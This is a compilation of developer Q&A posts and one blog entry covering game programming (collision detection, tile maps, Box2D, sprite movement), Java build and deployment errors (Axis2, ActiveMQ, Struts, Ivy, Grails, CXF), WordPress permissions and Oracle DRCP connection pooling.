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  • Collision Detection for 2D

    - by Bhaskar
    I am working on a simple game, where I need to do a collision detection of two Texture2D. The code I have written is: bool perPixelCollission = false; Texture2D texture1 = sprite1.Texture; Texture2D texture2 = sprite1.Texture; Vector2 position1 = new Vector2(sprite1.CurrentScope.X, sprite1.CurrentScope.Y); Vector2 position2 = new Vector2(sprite2.CurrentScope.X, sprite2.CurrentScope.Y); uint[] bitsA = new uint[texture1.Width * texture1.Height]; uint[] bitsB = new uint[texture2.Width * texture2.Height]; Rectangle texture1Rectangle = new Rectangle(Convert.ToInt32(position1.X), Convert.ToInt32(position1.Y), texture1.Width, texture1.Height); Rectangle texture2Rectangle = new Rectangle(Convert.ToInt32(position2.X), Convert.ToInt32(position2.Y), texture2.Width, texture2.Height); texture1.GetData<uint>(bitsA); texture2.GetData<uint>(bitsB); int x1 = Math.Max(texture1Rectangle.X, texture2Rectangle.X); int x2 = Math.Min(texture1Rectangle.X + texture1Rectangle.Width, texture2Rectangle.X + texture2Rectangle.Width); int y1 = Math.Max(texture1Rectangle.Y, texture2Rectangle.Y); int y2 = Math.Min(texture1Rectangle.Y + texture1Rectangle.Height, texture2Rectangle.Y + texture2Rectangle.Height); for (int y = y1; y < y2; ++y) { for (int x = x1; x < x2; ++x) { if (((bitsA[(x - texture1Rectangle.X) + (y - texture1Rectangle.Y) * texture1Rectangle.Width] & 0xFF000000) >> 24) > 20 && ((bitsB[(x - texture2Rectangle.X) + (y - texture2Rectangle.Y) * texture2Rectangle.Width] & 0xFF000000) >> 24) > 20) { perPixelCollission = true; break; } } // Reduce amount of looping by breaking out of this. if (perPixelCollission) { break; } } return perPixelCollission; But this code is really making the game slow. Where can I get some very good collision detection tutorial and code? What is wrong in this code?

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  • How do I randomly generate a top-down 2D level with separate sections and is infinite?

    - by Bagofsheep
    I've read many other questions/answers about random level generation but most of them deal with either randomly/proceduraly generating 2D levels viewed from the side or 3D levels. What I'm trying to achieve is sort of like you were looking straight down on a Minecraft map. There is no height, but the borders of each "biome" or "section" of the map are random and varied. I already have basic code that can generate a perfectly square level with the same tileset (randomly picking segments from the tileset image), but I've encountered a major issue for wanting the level to be infinite: Beyond a certain point, the tiles' positions become negative on one or both of the axis. The code I use to only draw tiles the player can see relies on taking the tiles position and converting it to the index number that represents it in the array. As you well know, arrays cannot have a negative index. Here is some of my code: This generates the square (or rectangle) of tiles: //Scale is in tiles public void Generate(int sX, int sY) { scaleX = sX; scaleY = sY; for (int y = 0; y <= scaleY; y++) { tiles.Add(new List<Tile>()); for (int x = 0; x <= scaleX; x++) { tiles[tiles.Count - 1].Add(tileset.randomTile(x * tileset.TileSize, y * tileset.TileSize)); } } } Before I changed the code after realizing an array index couldn't be negative my for loops looked something like this to center the map around (0, 0): for (int y = -scaleY / 2; y <= scaleY / 2; y++) for (int x = -scaleX / 2; x <= scaleX / 2; x++) Here is the code that draws the tiles: int startX = (int)Math.Floor((player.Position.X - (graphics.Viewport.Width) - tileset.TileSize) / tileset.TileSize); int endX = (int)Math.Ceiling((player.Position.X + (graphics.Viewport.Width) + tileset.TileSize) / tileset.TileSize); int startY = (int)Math.Floor((player.Position.Y - (graphics.Viewport.Height) - tileset.TileSize) / tileset.TileSize); int endY = (int)Math.Ceiling((player.Position.Y + (graphics.Viewport.Height) + tileset.TileSize) / tileset.TileSize); for (int y = startY; y < endY; y++) { for (int x = startX; x < endX; x++) { if (x >= 0 && y >= 0 && x <= scaleX && y <= scaleY) tiles[y][x].Draw(spriteBatch); } } So to summarize what I'm asking: First, how do I randomly generate a top-down 2D map with different sections (not chunks per se, but areas with different tile sets) and second, how do I get past this negative array index issue?

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  • Increase moving speed of body

    - by Siddharth
    How to move ball speedily on the screen using box2d in libGDX? public class Box2DDemo implements ApplicationListener { private SpriteBatch batch; private TextureRegion texture; private World world; private Body groundDownBody, groundUpBody, groundLeftBody, groundRightBody, ballBody; private BodyDef groundBodyDef1, groundBodyDef2, groundBodyDef3, groundBodyDef4, ballBodyDef; private PolygonShape groundDownPoly, groundUpPoly, groundLeftPoly, groundRightPoly; private CircleShape ballPoly; private Sprite sprite; private FixtureDef fixtureDef; private Vector2 ballPosition; private Box2DDebugRenderer renderer; Vector2 vector2; @Override public void create() { texture = new TextureRegion(new Texture( Gdx.files.internal("img/red_ring.png"))); sprite = new Sprite(texture); sprite.setOrigin(sprite.getWidth() / 2, sprite.getHeight() / 2); batch = new SpriteBatch(); world = new World(new Vector2(0.0f, -10.0f), false); groundBodyDef1 = new BodyDef(); groundBodyDef1.type = BodyType.StaticBody; groundBodyDef1.position.x = 0.0f; groundBodyDef1.position.y = 0.0f; groundDownBody = world.createBody(groundBodyDef1); groundBodyDef2 = new BodyDef(); groundBodyDef2.type = BodyType.StaticBody; groundBodyDef2.position.x = 0f; groundBodyDef2.position.y = Gdx.graphics.getHeight(); groundUpBody = world.createBody(groundBodyDef2); groundBodyDef3 = new BodyDef(); groundBodyDef3.type = BodyType.StaticBody; groundBodyDef3.position.x = 0f; groundBodyDef3.position.y = 0f; groundLeftBody = world.createBody(groundBodyDef3); groundBodyDef4 = new BodyDef(); groundBodyDef4.type = BodyType.StaticBody; groundBodyDef4.position.x = Gdx.graphics.getWidth(); groundBodyDef4.position.y = 0f; groundRightBody = world.createBody(groundBodyDef4); groundDownPoly = new PolygonShape(); groundDownPoly.setAsBox(480.0f, 10f); fixtureDef = new FixtureDef(); fixtureDef.density = 0f; fixtureDef.restitution = 1f; fixtureDef.friction = 0f; fixtureDef.shape = groundDownPoly; fixtureDef.filter.groupIndex = 0; groundDownBody.createFixture(fixtureDef); groundUpPoly = new PolygonShape(); groundUpPoly.setAsBox(480.0f, 10f); fixtureDef = new FixtureDef(); fixtureDef.friction = 0f; fixtureDef.restitution = 0f; fixtureDef.density = 0f; fixtureDef.shape = groundUpPoly; fixtureDef.filter.groupIndex = 0; groundUpBody.createFixture(fixtureDef); groundLeftPoly = new PolygonShape(); groundLeftPoly.setAsBox(10f, 320f); fixtureDef = new FixtureDef(); fixtureDef.friction = 0f; fixtureDef.restitution = 0f; fixtureDef.density = 0f; fixtureDef.shape = groundLeftPoly; fixtureDef.filter.groupIndex = 0; groundLeftBody.createFixture(fixtureDef); groundRightPoly = new PolygonShape(); groundRightPoly.setAsBox(10f, 320f); fixtureDef = new FixtureDef(); fixtureDef.friction = 0f; fixtureDef.restitution = 0f; fixtureDef.density = 0f; fixtureDef.shape = groundRightPoly; fixtureDef.filter.groupIndex = 0; groundRightBody.createFixture(fixtureDef); ballPoly = new CircleShape(); ballPoly.setRadius(16f); fixtureDef = new FixtureDef(); fixtureDef.shape = ballPoly; fixtureDef.density = 1f; fixtureDef.friction = 1f; fixtureDef.restitution = 1f; ballBodyDef = new BodyDef(); ballBodyDef.type = BodyType.DynamicBody; ballBodyDef.position.x = (int) 200; ballBodyDef.position.y = (int) 200; ballBody = world.createBody(ballBodyDef); // ballBody.setLinearVelocity(200f, 200f); // ballBody.applyLinearImpulse(new Vector2(250f, 250f), // ballBody.getLocalCenter()); ballBody.createFixture(fixtureDef); renderer = new Box2DDebugRenderer(true, false, false); } @Override public void dispose() { ballPoly.dispose(); groundLeftPoly.dispose(); groundUpPoly.dispose(); groundDownPoly.dispose(); groundRightPoly.dispose(); world.destroyBody(ballBody); world.dispose(); } @Override public void pause() { } @Override public void render() { world.step(1f/30f, 3, 3); Gdx.gl.glClearColor(1f, 1f, 1f, 1f); Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT); batch.begin(); vector2 = ballBody.getLinearVelocity(); System.out.println("X=" + vector2.x + " Y=" + vector2.y); ballPosition = ballBody.getPosition(); renderer.render(world,batch.getProjectionMatrix()); // int preX = (int) (vector2.x / Math.abs(vector2.x)); // int preY = (int) (vector2.y / Math.abs(vector2.y)); // // if (Math.abs(vector2.x) == 0.0f) // ballBody1.setLinearVelocity(1.4142137f, vector2.y); // else if (Math.abs(vector2.x) < 1.4142137f) // ballBody1.setLinearVelocity(preX * 5, vector2.y); // // if (Math.abs(vector2.y) == 0.0f) // ballBody1.setLinearVelocity(vector2.x, 1.4142137f); // else if (Math.abs(vector2.y) < 1.4142137f) // ballBody1.setLinearVelocity(vector2.x, preY * 5); batch.draw(sprite, (ballPosition.x - (texture.getRegionWidth() / 2)), (ballPosition.y - (texture.getRegionHeight() / 2))); batch.end(); } @Override public void resize(int arg0, int arg1) { } @Override public void resume() { } } I implement above code but I can not achieve higher moving speed of the ball

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  • Why does my goblin only choose a walk direction once?

    - by Eogcloud
    I'm working on a simpe 2d canvas game that has a small goblin sprite who I want to get pathing around the screen. What I originally tried was a random roll that would choose a direction, the goblin would walk that direction. It didnt work effectively, he sort of wobbled in one spot. Here's my current apporach but he only runs in a rundom direction and doesnt change. What am I doing wrong? Here's all the relevant code to the goblin object and movement. var goblin = { speed: 100, pos: [0, 0], dir: 1, changeDir: true, stepCount: 0, stepTotal: 0, sprite: new Sprite( goblinImage, [0,0], [30,45], 6, [0,1,2,3,2,1], true) }; function getNewDir(){ goblin.dir = Math.floor(Math.random()*4)+1; }; function checkGoblinMovement(){ if(goblin.changeDir){ goblin.changeDir = false; goblin.stepCount = 0; goblin.stepTotal = Math.floor(Math.random*650)+1; getNewDir(); } else { if(goblin.stepCount === goblin.stepTotal){ goblin.changeDir = true; } } }; function update(delta){ healthCheck(); if(isGameOver){ gameOver(); } if(!isGameOver){ updateCharLevel(); keyboardInput(delta); moveGoblin(delta); checkGoblinMovement(); goblin.sprite.update(delta); //update sprites if(mainChar.kills!=0 && bloodReady){ for(var i=0; i<bloodArray.length; i++){ bloodArray[i].sprite.update(delta); } } //collision detection if(collision(mainChar, goblin)) { combatOutcome(combatEvent()); combatCleanup(); } } }; function main(){ var now = Date.now(); var delta = (now - then)/1000; if(!isGameOver){ update(delta); } draw(); then = now; }; function moveGoblin(delta){ goblin.stepCount++; if(goblin.dir === 1){ goblin.pos[1] -= goblin.speed * delta* 2; if(goblin.pos[1] <= 85){ goblin.pos[1] = 86; } } if(goblin.dir === 2){ goblin.pos[1] += goblin.speed * delta; if(goblin.pos[1] > 530){ goblin.pos[1] = 531; } } if(goblin.dir === 3){ goblin.pos[0] -= goblin.speed * delta; if(goblin.pos[0] < 0){ goblin.pos[0] = 1; } } if(goblin.dir === 4){ goblin.pos[0] += goblin.speed * delta* 2; if(goblin.pos[0] > 570){ goblin.pos[0] = 571; } } };

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  • way to do if(x > x2) x = x2 with rotation?

    - by CyanPrime
    Alright, so I got this walking code, and some collision detection, now the collision detection returns a Vector3f of the closest point on the triangle that the projected position is at (pos + move), so then I project my position again in the walking method/function and if the projected position's x is the nearest point'x the projected position's x becomes the nearist point's x. same with their z points, but if I'm moving in a different direction from 0 degrees XZ how would I rotate the equation/condition? Here is what I got so far, and it's not working, as I go through walls, and such. Vector3f move = new Vector3f(0,0,0); move.x = (float)-Math.cos(Math.toRadians(yaw)); move.z = (float)-Math.sin(Math.toRadians(yaw)); // System.out.println("slopeNormal.z: " + slopeNormal.z + "move.z: " + move.z); move.normalise(); move.scale(movementSpeed * delta); float horizontaldotproduct = move.x * slopeNormal.x + move.z * slopeNormal.z; move.y = -horizontaldotproduct * slopeNormal.y; Vector3f dest = colCheck(pos, move, model, drawDist, movementSpeed, delta); Vector3f projPos = new Vector3f(pos); Vector3f.add(projPos, move, projPos); if(projPos.x > 0 && dest.x > 0 && projPos.x < dest.x) projPos.x = dest.x; else if(projPos.x < 0 && dest.x < 0 && projPos.x > dest.x) projPos.x = dest.x; if(projPos.z > 0 && dest.z > 0 && projPos.z < dest.z) projPos.z = dest.z; else if(projPos.z < 0 && dest.z < 0 && projPos.z > dest.z) projPos.z = dest.z; pos = new Vector3f(projPos);

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  • LWJGL: Camera distance from image plane?

    - by Rogem
    Let me paste some code before I ask the question... public static void createWindow(int[] args) { try { Display.setFullscreen(false); DisplayMode d[] = Display.getAvailableDisplayModes(); for (int i = 0; i < d.length; i++) { if (d[i].getWidth() == args[0] && d[i].getHeight() == args[1] && d[i].getBitsPerPixel() == 32) { displayMode = d[i]; break; } } Display.setDisplayMode(displayMode); Display.create(); } catch (Exception e) { e.printStackTrace(); System.exit(0); } } public static void initGL() { GL11.glEnable(GL11.GL_TEXTURE_2D); GL11.glShadeModel(GL11.GL_SMOOTH); GL11.glClearColor(0.0f, 0.0f, 0.0f, 0.0f); GL11.glClearDepth(1.0); GL11.glEnable(GL11.GL_DEPTH_TEST); GL11.glDepthFunc(GL11.GL_LEQUAL); GL11.glMatrixMode(GL11.GL_PROJECTION); GL11.glLoadIdentity(); GLU.gluPerspective(45.0f, (float) displayMode.getWidth() / (float) displayMode.getHeight(), 0.1f, 100.0f); GL11.glMatrixMode(GL11.GL_MODELVIEW); GL11.glHint(GL11.GL_PERSPECTIVE_CORRECTION_HINT, GL11.GL_NICEST); } So, with the camera and screen setup out of the way, I can now ask the actual question: How do I know what the camera distance is from the image plane? I also would like to know what the angle between the image plane's center normal and a line drawn from the middle of one of the edges to the camera position is. This will be used to consequently draw a vector from the camera's position through the player's click-coordinates to determine the world coordinates they clicked (or could've clicked). Also, when I set the camera coordinates, do I set the coordinates of the camera or do I set the coordinates of the image plane? Thank you for your help. EDIT: So, I managed to solve how to calculate the distance of the camera... Here's the relevant code... private static float getScreenFOV(int dim) { if (dim == 0) { float dist = (float) Math.tan((Math.PI / 2 - Math.toRadians(FOV_Y))/2) * 0.5f; float FOV_X = 2 * (float) Math.atan(getScreenRatio() * 0.5f / dist); return FOV_X; } else if (dim == 1) { return FOV_Y; } return 0; } FOV_Y is the Field of View that one defines in gluPerspective (float fovy in javadoc). This seems to be (and would logically be) for the height of the screen. Now I just need to figure out how to calculate that vector.

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  • Base64.encodeBase64URLSafeString() could not find method error in eclipse (Android project).

    - by jax
    I have an Android project that is using the Base64.encodeBase64URLSafeString commons method. The part that does the Base64 is in another java project. I have added the java project to the android project through the "Project" tab in the Build Path. I have already linked both projects to commons-codec thinking that this might be the problem but am still getting the following error in Eclipse. Both project have no errors. Could not find method org.apache.commons.codec.binary.Base64.encodeBase64URLSafeString, referenced from method com.mydomain.android.licensegenerator.client.LicenseLoader.doSha1AndBase64Encryption What might I be doing wrong?

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  • WstxParsingException: "Expected a text token, got START_ELEMENT"

    - by lasombra
    I have a stub generated by WSDL2Java. I send a request and the answer that comes back (used tcptrace) looks fine. However, an AxisFault is thrown: org.apache.axis2.AxisFault: com.ctc.wstx.exc.WstxParsingException: Expected a text token, got START_ELEMENT. at [row,col {unknown-source}]: [4,1313] at org.apache.axis2.AxisFault.makeFault(AxisFault.java:430) at org.tempuri.MyStub.fromOM(MyStub.java:1726) at org.tempuri.MyStub.acceptResults(MyStub.java:612) The corresponding code in MyStub.java looks like: 607: org.apache.axis2.context.MessageContext _returnMessageContext = _operationClient 608: .getMessageContext(org.apache.axis2.wsdl.WSDLConstants.MESSAGE_LABEL_IN_VALUE); 609: org.apache.axiom.soap.SOAPEnvelope _returnEnv = _returnMessageContext 610: .getEnvelope(); 611: 612: java.lang.Object object = fromOM(_returnEnv.getBody() 613: .getFirstElement(), 614: org.tempuri.AcceptQcResultsResponse.class, 615: getEnvelopeNamespaces(_returnEnv)); How do I find out which token is meant by the error? I have [row,col {unknown-source}]: [4,1313] but I don't know how to use that information.

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  • activemq-maven-plugin ignore files in classpath?

    - by Oscar Chan
    I have been trying to get activemq-maven-plugin to run activemq with configuration in classpath of the bundle. However, I don't have much luck. It seems that the activemq-maven-plugin just ignore resources (resources/main/conf/activemq.properties) the local bundle. I checked the jar and target/classes and they are built into the right local. I am able to get plugin to run (mvn activemq:run) if I take out the PropertyPlaceholderConfigurer bean in the activemq.xml Did I do anything wrong? Here is the output [INFO] ------------------------------------------------------------------------ [ERROR] BUILD ERROR [INFO] ------------------------------------------------------------------------ [INFO] Failed to start ActiveMQ Broker Embedded error: Could not load properties; nested exception is java.io.FileNotFoundException: class path resource [conf/activemq.properties] cannot be opened because it does not exist [INFO] ------------------------------------------------------------------------ [INFO] For more information, run Maven with the -e switch [INFO] ------------------------------------------------------------------------ [INFO] Total time: 2 seconds [INFO] Finished at: Mon May 03 15:56:05 PDT 2010 [INFO] Final Memory: 11M/79M [INFO] ------------------------------------------------------------------------ Here is the pom.xml, which I specific the plugin to look up activemq.xml via file, that works. However, in the activemq.xml <?xml version="1.0"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>oc.test</groupId> <artifactId>mq</artifactId> <version>0.1</version> <name>mq</name> <url>http://maven.apache.org</url> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>3.8.1</version> <scope>test</scope> </dependency> </dependencies> <build> <plugins> <plugin> <groupId>org.apache.activemq.tooling</groupId> <artifactId>maven-activemq-plugin</artifactId> <version>5.3.1</version> <configuration> <configUri>xbean:file:src/main/resources/conf/activemq.xml</configUri> <fork>false</fork> <systemProperties> <property> <name>javax.net.ssl.keyStorePassword</name> <value>password</value> </property> <property> <name>org.apache.activemq.default.directory.prefix</name> <value>./target/</value> </property> </systemProperties> </configuration> <dependencies> <dependency> <groupId>org.springframework</groupId> <artifactId>spring</artifactId> <version>2.5.5</version> </dependency> </dependencies> </plugin> </plugins> </build> </project> Here is the src/main/resources/conf/activemq.xml <?xml version="1.0"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:amq="http://activemq.apache.org/schema/core" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-2.0.xsd http://activemq.apache.org/schema/core http://activemq.apache.org/schema/core/activemq-core.xsd "> <bean class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer"> <property name="locations"> <value>classpath:conf/activemq.properties</value> </property> <property name="systemPropertiesModeName" value="SYSTEM_PROPERTIES_MODE_OVERRIDE"/> </bean> <broker xmlns="http://activemq.apache.org/schema/core" brokerName="localhost" dataDirectory="./data"> <!-- The transport connectors ActiveMQ will listen to --> <transportConnectors> <transportConnector name="openwire" uri="tcp://localhost:61616"/> </transportConnectors> </broker> </beans> Here is the src/main/resources/conf/activemq.properties activemq.port=61616

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  • Struts 1 - struts-taglib.jar is not being found by the web application

    - by Yatendra Goel
    I am using Struts-1. I have developed a struts-based web application. I am using struts tags in my JSP pages supplied in struts-taglib.jar by inserting the following lines in the JSP file: <%@ taglib prefix="html" uri="http://struts.apache.org/tags-html" %> <%@ taglib prefix="logic" uri="http://struts.apache.org/tags-logic" %> <%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean" %> Now the application is working fine when I run it on my localsystem but when I deploy it on a server, it shows the following exception: org.apache.jasper.JasperException: The absolute uri: http://struts.apache.org/tags-html cannot be resolved in either web.xml or the jar files deployed with this application From the above exception, it seems that the application hasn't found the struts-taglib.jar file. But I have put the struts-taglib.jar in /WEB-INF/lib directory. Then where is the problem?

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  • PHP OCI8 and Oracle 11g DRCP Connection Pooling in Pictures

    - by christopher.jones
    Here is a screen shot from a PHP OCI8 connection pooling demo that I like to run. It graphically shows how little database host memory is needed when using DRCP connection pooling with Oracle Database 11g. Migrating to DRCP can be as simple as starting the pool and changing the connection string in your PHP application. The script that generated the data for this graph was a simple "Parts" query application being run under various simulated user loads. I was running the database on a small Oracle Linux server with just 2G of memory. I used PHP OCI8 1.4. Apache is in pre-fork mode, as needed for PHP. Each graph has time on the horizontal access in arbitrary 'tick' time units. Click the image to see it full sized. Pooled connections Beginning with the top left graph, At tick time 65 I used Apache's 'ab' tool to start 100 concurrent 'users' running the application. These users connected to the database using DRCP: $c = oci_pconnect('phpdemo', 'welcome', 'myhost/orcl:pooled'); A second hundred DRCP users were added to the system at tick 80 and a final hundred users added at tick 100. At about tick 110 I stopped the test and restarted Apache. This closed all the connections. The bottom left graph shows the number of statements being executed by the database per second, with some spikes for background database activity and some variability for this small test. Each extra batch of users adds another 'step' of load to the system. Looking at the top right Server Process graph shows the database server processes doing the query work for each web user. As user load is added, the DRCP server pool increases (in green). The pool is initially at its default size 4 and quickly ramps up to about (I'm guessing) 35. At tick time 100 the pool increases to my configured maximum of 40 processes. Those 40 processes are doing the query work for all 300 web users. When I stopped the test at tick 110, the pooled processes remained open waiting for more users to connect. If I had left the test quiet for the DRCP 'inactivity_timeout' period (300 seconds by default), the pool would have shrunk back to 4 processes. Looking at the bottom right, you can see the amount of memory being consumed by the database. During the initial quiet period about 500M of memory was in use. The absolute number is just an indication of my particular DB configuration. As the number of pooled processes increases, each process needs more memory. You can see the shape of the memory graph echoes the Server Process graph above it. Each of the 300 web users will also need a few kilobytes but this is almost too small to see on the graph. Non-pooled connections Compare the DRCP case with using 'dedicated server' processes. At tick 140 I started 100 web users who did not use pooled connections: $c = oci_pconnect('phpdemo', 'welcome', 'myhost/orcl'); This connection string change is the only difference between the two tests. At ticks 155 and 165 I started two more batches of 100 simulated users each. At about tick 195 I stopped the user load but left Apache running. Apache then gradually returned to its quiescent state, killing idle httpd processes and producing the downward slope at the right of the graphs as the persistent database connection in each Apache process was closed. The Executions per Second graph on the bottom left shows the same step increases as for the earlier DRCP case. The database is handling this load. But look at the number of Server processes on the top right graph. There is now a one-to-one correspondence between Apache/PHP processes and DB server processes. Each PHP processes has one DB server processes dedicated to it. Hence the term 'dedicated server'. The memory required on the database is proportional to all those database server processes started. Almost all my system's memory was consumed. I doubt it would have coped with any more user load. Summary Oracle Database 11g DRCP connection pooling significantly reduces database host memory requirements allow more system memory to be allocated for the SGA and allowing the system to scale to handled thousands of concurrent PHP users. Even for small systems, using DRCP allows more web users to be active. More information about PHP and DRCP can be found in the PHP Scalability and High Availability chapter of The Underground PHP and Oracle Manual.

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  • Struts 1 - struts-taglib.jar is not being found by my web application

    - by Yatendra Goel
    I am using Struts-1. I have developed a struts-based web application. I am using struts tags in my JSP pages supplied in struts-taglib.jar by inserting the following lines in the JSP file: <%@ taglib prefix="html" uri="http://struts.apache.org/tags-html" %> <%@ taglib prefix="logic" uri="http://struts.apache.org/tags-logic" %> <%@ taglib prefix="bean" uri="http://struts.apache.org/tags-bean" %> Now the application is working fine when I run it on my localsystem but when I deploy it on a server, it shows the following exception: org.apache.jasper.JasperException: The absolute uri: http://struts.apache.org/tags-html cannot be resolved in either web.xml or the jar files deployed with this application From the above exception, it seems that the application hasn't found the struts-taglib.jar file. But I have put the struts-taglib.jar in /WEB-INF/lib directory. Then where is the problem? Note: You can also look at http://stackoverflow.com/questions/2452492/java-problem-in-deploying-web-application for more information

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  • Why can't WordPress create directories when uploading themes?

    - by Arman
    I can't workout how to solve this problem so wordpress would let me upload themes. I have a fresh copy of Fedora 17 installed on my dev machine. I then installed mysql using: yum install mysql mysql-server. Next I installed WordPress which also installs apache and php: yum install wordpress I can go to http://localhost/wordpress and see WordPress working. But when I try tried to install my theme it asked for ftp credentials. I then updated the wp-config.php file and set the FS_METHOD constant to direct. Now it doesn't ask for ftp credentials but it gives me this error: Could not create directory. /usr/share/wordpress/wp-content/themes/my-theme-name/ httpd service is running under 'apache' user and 'apache' group. The /usr/share/wordpress/ directory is recursively own by 'apache' user and 'apache' group too. I've even set the permissions to 777 (also recursively) and even then I keep getting the same error as above. How can I solve this problem?

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  • Jmeter Exception response code :000 ,response message:Read timed out,for Java Web service?

    - by vipin k.
    I am testing a java web service(jax-ws),but whenever i am running the test i am getting response code as response message:Read timed out . And at tomcat serevr side i am getting exception : SEVERE: caught throwable ClientAbortException: java.net.SocketException: Connection reset by peer: socket write error at org.apache.catalina.connector.OutputBuffer.realWriteBytes(OutputBuffer.java:358) at org.apache.tomcat.util.buf.ByteChunk.append(ByteChunk.java:354) at org.apache.catalina.connector.OutputBuffer.writeBytes(OutputBuffer.java:381) at org.apache.catalina.connector.OutputBuffer.write(OutputBuffer.java:370) at org.apache.catalina.connector.CoyoteOutputStream.write(CoyoteOutputStream.java:89) I found out that Read timed out exception may occur because of big size of SOAP response. But i am clue less because same web service i can access form an application.

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  • Does Ivy's url resolver support transitive retrieval?

    - by Sean
    For some reason I can't seem to resolve the dependencies of my dependencies when using a url resolver to specify a repository's location. However, when using the ibiblio resolver, I am able to retrieve them. For example: <!-- Ivy File --> <ivy-module version="1.0"> <info organisation="org.apache" module="chained-resolvers"/> <dependencies> <dependency org="commons-lang" name="commons-lang" rev="2.0" conf="default"/> <dependency org="checkstyle" name="checkstyle" rev="5.0"/> </dependencies> </ivy-module> <!-- ivysettings file --> <ivysettings> <settings defaultResolver="chained"/> <resolvers> <chain name="chained"> <url name="custom-repo"> <ivy pattern="http://my.internal.domain.name/ivy/[organisation]/[module]/[revision]/ivy-[revision].xml"/> <artifact pattern="http://my.internal.domain.name/ivy/[organisation]/[module]/[revision]/[artifact]-[revision].[ext]"/> </url> <url name="ibiblio-mirror" m2compatible="true"> <artifact pattern="http://mirrors.ibiblio.org/pub/mirrors/maven2/[organisation]/[module]/[revision]/[artifact]-[revision].[ext]" /> </url> <ibiblio name="ibiblio" m2compatible="true"/> </chain> </resolvers> </ivysettings> <!-- checkstyle ivy.xml file generated from pom via ivy:install task --> <?xml version="1.0" encoding="UTF-8"?> <ivy-module version="1.0" xmlns:m="http://ant.apache.org/ivy/maven"> <info organisation="checkstyle" module="checkstyle" revision="5.0" status="release" publication="20090509202448" namespace="maven2" > <license name="GNU Lesser General Public License" url="http://www.gnu.org/licenses/lgpl.txt" /> <description homepage="http://checkstyle.sourceforge.net/"> Checkstyle is a development tool to help programmers write Java code that adheres to a coding standard </description> </info> <configurations> <conf name="default" visibility="public" description="runtime dependencies and master artifact can be used with this conf" extends="runtime,master"/> <conf name="master" visibility="public" description="contains only the artifact published by this module itself, with no transitive dependencies"/> <conf name="compile" visibility="public" description="this is the default scope, used if none is specified. Compile dependencies are available in all classpaths."/> <conf name="provided" visibility="public" description="this is much like compile, but indicates you expect the JDK or a container to provide it. It is only available on the compilation classpath, and is not transitive."/> <conf name="runtime" visibility="public" description="this scope indicates that the dependency is not required for compilation, but is for execution. It is in the runtime and test classpaths, but not the compile classpath." extends="compile"/> <conf name="test" visibility="private" description="this scope indicates that the dependency is not required for normal use of the application, and is only available for the test compilation and execution phases." extends="runtime"/> <conf name="system" visibility="public" description="this scope is similar to provided except that you have to provide the JAR which contains it explicitly. The artifact is always available and is not looked up in a repository."/> <conf name="sources" visibility="public" description="this configuration contains the source artifact of this module, if any."/> <conf name="javadoc" visibility="public" description="this configuration contains the javadoc artifact of this module, if any."/> <conf name="optional" visibility="public" description="contains all optional dependencies"/> </configurations> <publications> <artifact name="checkstyle" type="jar" ext="jar" conf="master"/> </publications> <dependencies> <dependency org="antlr" name="antlr" rev="2.7.6" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-beanutils-core" rev="1.7.0" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-cli" rev="1.0" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="apache" name="commons-logging" rev="1.0.3" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> <dependency org="com.google.collections" name="google-collections" rev="0.9" force="true" conf="compile->compile(*),master(*);runtime->runtime(*)"/> </dependencies> </ivy-module> Using the "ibiblio" resolver I have no problem resolving my project's two dependencies (commons-lang 2.0 and checkstyle 5.0) and checkstyle's dependencies. However, when attempting to exclusively use the "custom-repo" or "ibiblio-mirror" resolvers, I am able to resolve my project's two explicitly defined dependencies, but not checkstyle's dependencies. Is this possible? Any help would be greatly appreciated.

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  • how to config grails1.2 with oscache?

    - by wavelet
    I do this : DataSource.groovy: hibernate { cache.use_second_level_cache=true cache.use_query_cache=true cache.provider_class='com.opensymphony.oscache.hibernate.OSCacheProvider' } and in BuildConfig.groovy: inherits( "global" ) { // uncomment to disable ehcache excludes 'ehcache' } runtime ("opensymphony:oscache:2.4.1") { excludes 'jms', 'commons-logging', 'servlet-api' } but i only get this error : commons.DefaultGrailsApplication The class [com.ai.scenter.service.reschange.ResourceChangeAdapter] was not found when attempting to load Grails application. Skipping. commons.DefaultGrailsApplication The class [com.ai.scenter.service.reschange.ResourceChangeService] was not found when attempting to load Grails application. Skipping. hibernate.ConfigurableLocalSessionFactoryBean There was an error configuring the Hibernate second level cache: could not instantiate CacheProvider [com.opensymphony.oscache.hibernate.OSCacheProvide] hibernate.ConfigurableLocalSessionFactoryBean This is normally due to one of two reasons. Either you have incorrectly specified the cache provider class name in [DataSource.groovy] or you do not have the cache provider on your classpath (eg. runtime ("net.sf.ehcache:ehcache:1.6.1")) how can i do it?

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  • Maven - how to put the build dependance jar files ?

    - by larrycai
    I run a simple CXF maven project, and get error below [INFO] [cxf-codegen:wsdl2java {execution: generate-sources}] [INFO] ------------------------------------------------------------------------ [ERROR] BUILD ERROR [INFO] ------------------------------------------------------------------------ [INFO] org/springframework/core/io/support/ResourcePatternResolver org.springframework.core.io.support.ResourcePatternResolver [INFO] ------------------------------------------------------------------------ [INFO] Trace org.apache.maven.lifecycle.LifecycleExecutionException: org/springframework/core/io/support/ResourcePatternResolver at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoals(DefaultLifecycleExecutor.java:719) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoalWithLifecycle(DefaultLifecycleExecutor.java:556) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoal(DefaultLifecycleExecutor.java:535) at org.apache.maven.lifecycle.DefaultLifecycleExecutor.executeGoalAndHandleFailures(DefaultLifecycleExecutor.java:387) I don't know how to put the springframework-core dependance ? It works if I put the jar file under $M2_HOME/lib, but is it correct way ? since when I 